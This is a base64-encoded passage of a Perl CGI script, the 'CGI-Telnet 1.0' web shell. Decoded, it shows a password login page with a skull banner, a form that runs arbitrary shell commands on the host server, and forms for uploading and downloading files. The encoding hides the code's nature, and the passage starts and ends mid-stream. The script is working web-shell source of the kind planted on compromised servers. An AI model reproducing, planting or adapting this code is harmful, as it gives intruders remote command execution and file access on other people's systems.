bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4NCjxiPjxmb250IGNvbG9yPSIjMDAwMDgwIiBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8DQo8YSBocmVmPSJodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwiPkhlbHA8L2E+DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgY29sb3I9IiNDMEMwQzAiIHNpemU9IjMiPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiM2Njk5OTkiPiBfX19fXyAgX19fX18gIF9fX19fICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXw0KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfA0KfCAvICBcL3wgfCAgXC8gIHwgfCAgIF9fX19fXyAgIHwgfCAgICBfX18gfCB8IF8gX18gICAgX19fIHwgfF8NCnwgfCAgICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9ffA0KfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8NCiBcX19fXy8gXF9fX18vIFxfX18vICAgICAgICAgICBcXy8gICBcX19ffHxffHxffCB8X3wgXF9fX3wgXF9ffCAxLjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj6pIDIwMDEsIFJvaGl0YWIgQmF0cmE8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4NCiAgICAgICAgICAgICAgICAgIC8gICAgICAgICAgICBcDQogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwNCiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfA0KICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8DQogICAgICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwNCiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQ0KICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58SUlJSUlJfDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAoXyk8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPkA4QDg8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnt9PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj4mbHQ7X19fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwtXElJSUlJSS8tfDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX19fJmd0OzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+DQogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIA0KICAgICAgIChAICAgICAgICAgICBgLS0tLS0tLS1gDQogICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlcjwvZm9udD48L3ByZT4NCiQ7DQojJw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dDQo8Y29kZT4kTWVzc2FnZQ0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpsb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYyI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KPGNvZGU+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuDQo8YnI+S2lsbGVkIGl0IQ0KPGNvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+IjsNCgl9DQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT48eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRfXG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCjwvY29kZT4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiPGNvZGU+RmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkITwvY29kZT4iOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KC